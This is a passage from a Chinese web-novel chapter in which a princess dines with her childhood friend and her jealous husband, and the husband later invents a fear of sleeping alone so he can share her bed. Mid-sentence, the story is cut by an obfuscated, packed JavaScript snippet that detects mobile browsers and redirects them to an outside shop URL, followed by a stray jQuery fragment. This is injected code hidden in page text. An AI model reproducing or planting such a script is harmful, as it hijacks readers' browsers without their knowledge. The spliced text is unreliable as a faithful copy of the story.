西街繁华不已,街道两侧商铺鳞次栉比,以酒楼最为热闹,长街之上酒旗飘扬,欢声笑语不断。
江淮是提出做东,便领二人去逸云楼。逸云楼是京城最负盛名的酒楼,占地比别家酒楼足足多出三倍,日夜经营酒菜不断。
酒楼正中央建造一块大平台,由七位娘子于台上起舞助兴,个个美艳绝伦身姿翩然,不少人来逸云楼只为一睹佳人风姿。
逸云楼建造处处精致,小到酒杯茶盏,大到承梁柱,皆由能工巨匠打造,就连酒楼牌匾都是最负盛名的书法家所提,故而宾客络绎不绝。
江淮是这种世家公子最是调皮捣蛋,少时便将京城酒楼逛了个遍,哪些菜肴好吃自然知晓得一清二楚。
他招呼店小二细心叮嘱:“光明虾炙,不要姜汁,少茱萸酱。金齑玉脍,同样不要姜汁,鱼片要切的薄薄的。黄芪羊肉,只要羊里脊,一点肥的都不要。白龙臛,羹汤要炖的久一点,肉要炖的鲜嫩软烂。再看着上些旁的菜,果脯蜜饯和小粥也来点。”
江淮是话毕转头望向唐熙宁:“熙宁,这都是照你的口味点的,你看看要不要点些旁的?”
他手指轻弹唐熙宁额头提醒,他的眼眸亮亮的,眉心处有道浅浅伤痕。他虽是少年将军,却非五大三粗的武夫,相反长相极为俊俏,那道伤痕在他脸上略显突兀。
唐熙宁不由想到这伤的来历,儿时她与宁王向来不对付,言语间难免起冲突,江淮是为保护她,便和宁王动了手,可他比宁王小三四岁,那时自然打不过,就只有挨揍的份。
“熙宁,在想什么?”江淮是见她不说话,便伸手在她面前挥舞,“怎么看我看得这么入迷?我也知道我容貌俊朗,可你这样看着我,我会害羞的。”
唐熙宁回过神后将他挥舞的手拍到一边,无奈开口:“你有没有正形啊?”
他轻咳几声,收起揶揄笑颜:“好吧,你看看要点些其他菜吗?”
方才点的已经够多了,唐熙宁并无特别想吃的,只微微摇头:“不要了。”
“好,”江淮是问完她的意见,才扭头望向李怀霄,完全不隐藏眼底的戏谑,“方才所点皆按熙宁口味,李大人,应无其他要求吧?”
李怀霄眯眼轻笑,并未回答他,只是伸手轻点唐熙宁肩膀,温声提醒:“江大人军伍出身,所点菜食皆多荤腥,容易起腻。公主喜甜食,不若再来份雕花酥酪解腻?”
他话语柔和,唐熙宁又不知二人小心思,自然听不出他对江淮是的挤兑。可这些话落在江淮是耳中,就完全变了味。
二人明目张胆地怒视彼此,只有唐熙宁认真思索饭食问题,她想到方才江淮是点了些果脯蜜饯,想来不会太腻,可她向来喜甜食,李怀霄这么说,她自然不会拒绝。
“还是你思虑周全,”唐熙宁笑着点点头,嘴角梨涡轻扬,瞧着俏皮灵动,她回头嘱咐小二,还伸手比了个三,“那来三份酥酪。”
“好嘞,三位贵宾稍等片刻,先喝些热茶暖暖身。”小二为他们添茶后,躬身示意离开。
江淮是李怀霄都不服彼此,江淮是明目张胆展示青梅竹马情谊,李怀霄则不动声色显示驸马身份。
江淮是轻哼出声,不满开口:“不知李大人安的什么心思,冬日还要吃酥酪,酥酪皆是冰镇过的,好吃是好吃,可熙宁向来畏寒,万一不舒服怎么办?”
唐熙宁许久未吃酥酪,还有些馋,听江淮是这么说,生怕他将酥酪去掉,连忙回答:“不妨事的,原本就是我想吃。”
闻言李怀霄微微挑眉,仗着自己在唐熙宁身后,也不多掩饰,脸上带着几分漫不经心和玩味,更多的是被唐熙宁护着的欣喜和挑衅。
江淮是正对着唐熙宁,自然不能挂脸,只能硬挤出笑意:“你啊,从小就爱吃甜食,偏偏王妃管你管的紧,小时候我偷偷给你带八宝斋点心,好几次差点被王妃发现呢。”
唐熙宁模仿着江淮是儿时的语调,说话时刻意带着点稚嫩和瓮声瓮气:“哝,给你带的。差点被王妃发现呢,你可要好好奖励我,下学堂后一起去西街玩,不然我就亏大了!”
江淮是忍不住笑出声,他不好意思地摸着头:“这都是小时候的事,你怎么记得这么清啊?”
“你不也记得清清楚楚?”
言下之意便是两人青梅竹马的情分永不可能磨灭。
李怀霄自然听得出,他心中不快,可还得摆出正宫姿态,拈酸吃醋的话也太小家子气,他紧紧攥着手心,气到身体发抖面上也维持着笑容。
逸云楼上菜格外快,除却需要炖的羹汤,其他菜都上完了。期间江淮是像没事干似的,一个劲地给唐熙宁夹菜,看她吃完就立马再夹,李怀霄尽管有心也无用武之地。
李怀霄总觉自己贪心不足欲壑难填,他从前只觉得能与公主成亲,便是他此生最大的福气。原也不作他想,可成亲后,渴望之物却愈来愈多,原本只想与公主近些,能帮到公主便好,后来却不满于此,他还想要公主的爱,不是博爱是独爱。
他看着一旁为公主夹菜的江淮是,想到幼时江淮是也是这样为她夹菜,也是这样照顾她的,心中便生出妒忌。
可妒忌的同时又生出些难以言喻的欢喜,隐隐庆幸幼时有人能这么照顾唐熙宁。
但今时不同往日,以后公主由他照顾就够了,他总该做些什么引起公主的注意才是。
李怀霄思来想去,靠在椅上轻叹,他刻意控制着嗓音,既不明显又能让唐熙宁听清的程度。
唐熙宁果然颇感意外地看着他:“怎么唉声叹气的,饭菜不合你胃口?要不点点其他的?”
李怀霄微微摇头,他凑近唐熙宁,故意耷拉着眼皮摆出委屈模样,又拉着她衣袖轻晃:“往常用膳都是我亲自为公主夹菜,可今日江大人对你百般照顾,哪还有我的份。今日这么闲,我都有些不习惯了。”
唐熙宁长叹一声:“我们青梅竹马,他从小便这么照顾我,一时半刻改不掉的。”
这话虽是宽慰,但李怀霄只觉刺耳,他微微挑眉柔声引导:“公主,这些小事还是交给驸马吧,累到江大人岂不成了我的过失,公主觉得呢?”
唐熙宁敏锐感知到李怀霄兴致不佳,许是吃醋吧。她想着也是,毕竟成亲了,驸马威严还是应该维护。
她转头望向江淮是叮嘱:“你今晚做东,却没吃多少,净顾着给我夹了,快吃吧,夹菜的小事我自己来就好。”
江淮是夹菜的动作一顿,可他向来听唐熙宁的话,自然不会违背她的意思,即使不情愿也只能同意,还得给自己找补:“熙宁可真是体贴我啊。”
三人这顿晚膳吃下来,只有唐熙宁吃的开心,其他两个人心中多少都带着点对彼此的妒忌与怨气。
用过晚膳后江淮是便与他们分开回府,午后唐熙宁怕下人跟着不便,便让他们回府,车夫也离开了,眼下就只能由李怀霄驾马车。
车马内倒是暖暖和和,只是车马外难免受风吹,等回府时李怀霄的手已经冻的僵硬了,唐熙宁看他手冻的通红,心里也不是滋味:“快回房暖暖吧,你手都冻红了。”
李怀霄倒是暗自庆幸,如此若能让公主关注他,那他情愿每日为她驾马。
他刚要回话,就听唐熙宁嘟囔道:“唉,下人们也着实辛苦,平日赶车免不得受冻。不如吩咐府中管家,给下人们多备些手套过冬,冬衣也再加些。”
李怀霄一方面觉得公主仁善,一方面又妒忌,妒忌他在她心中的地位,妒忌他与旁人在她心中并无不同。
“需要公主操心的事多着呢,这点小事我吩咐下去便是。”
“那辛苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038036|194665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你了。”
李怀霄摇摇头纠正她的话:“公主说这些岂不要与我生分了,为公主做事,我心甘情愿。”
“好。”唐熙宁抿唇轻笑,和他一起往卧房走。她已经习惯与他共处一室,也不像从前那么扭捏,沐浴洗漱后换好中衣便准备歇息。
只是李怀霄一脸难为情地呆呆站在一侧,看起来有话要说。
唐熙宁不解地上下打量他:“有事?”
李怀霄不好意思地摸着额头,小声道:“公主,早间水姑娘说不让微臣睡地上,不利于伤口恢复。”
“这事啊,”唐熙宁不自觉扣着手心,想到成亲后与他共处一室这么久,或许能借此分房,便故意表示内疚,“也是,让你整夜睡在地上,本公主心里也过意不去。”
话毕她指着房门道:“但岂不正好,今夜你我就分房而睡,你去睡偏房吧。”
“啊?”
“不愿意?”
“不是……”
李怀霄低头沉思片刻,他走到唐熙宁面前,屈膝跪在地上,将头埋在唐熙宁腿上蹭了几下。
“公主,如今我只能实话告诉你了。其实……我幼时受过伤,自那之后便格外害怕独处,尤其是夜间。一直不愿分房也是因着这个缘故,先前不说是怕你觉得我弱。”
“可我真的好怕一个人,实在不想与你分开。伤口确实没好,可睡在地上也不妨事,不要赶我去偏房好不好?”
他声音微颤,泪眼朦胧地靠在唐熙宁腿上,就像毫无安全的……小狗?
根本没有合适的词来形容,唐熙宁就莫名想到小狗。
李怀霄眼尾泛红得仰头看她,狭长眼睫在他眼下打出一片阴影,显得委屈巴巴的。
唐熙宁见他如此,难免心绪不稳。李怀霄本就是为救她负伤,她也没理由拒绝,若让他睡地上,再发病就坏了。
她只能妥协,主动拉着被褥往床里挪了挪:“在你伤好之前,便与我同榻吧,只是要分开被褥。”
李怀霄这才露出笑意,他正欲起身去拿被褥时,唐熙宁却觉哪里不对,她颇感疑惑地问:“你既害怕独处,那未成亲前,也和旁人一室同眠吗?”
李怀霄表情微僵,似乎在思索什么。
害怕夜晚独处的借口只是他临时想的,故而格外粗糙,真被她看出漏洞,倒让他不好回答。
如果说是,那他都与何人同眠?如果说不是,那他害怕独处的谎言就不攻自破了。
他知晓唐熙宁素来脸皮薄容易害羞,便故意拉着她手,硬着头皮解释:“非也,除公主外,微臣从未与旁人同宿。如今成了亲,有公主在自然不一样,公主宠宠我好不好?”
摇曳烛火透过床边帷幔映在李怀霄脸上,更衬得他面容俊朗。他此刻眼神灼灼地盯着唐熙宁,火热的大手又紧紧拉着她,她一时羞窘便不自然抽回手,不再多说什么。
李怀霄见彻底得逞,便去拿被褥铺床。
两人共同躺在床榻之上,除却大婚那夜,这还是唐熙宁第二次与李怀霄睡在一起,她说不出心中是何滋味,只是觉得很微妙,双手不自觉交缠起来。
过去许久,唐熙宁也毫无睡意。身侧李怀霄倒是呼吸平稳,像是已然熟睡。唐熙宁轻叹出声,她近日忙的厉害,母亲的病虽已解决,可父亲之事还没定论,她明日还要思索如何为父亲翻案,只能强迫自己睡觉。
不知过去多久,她才有些睡意,后来意识越来越昏沉,便沉沉睡去。
片刻后,李怀霄轻轻睁开双眼,他侧过身打量唐熙宁的安静睡颜,想到新婚之夜装醉后也是这般打量她,甚至还偷偷将她拉于怀中休息,次日她炸毛惹火的样子还挺可爱。
不过他这次并不打算这么做,猎手捕猎必须要付出时间与心血,好在来日方才,李怀霄他等得起。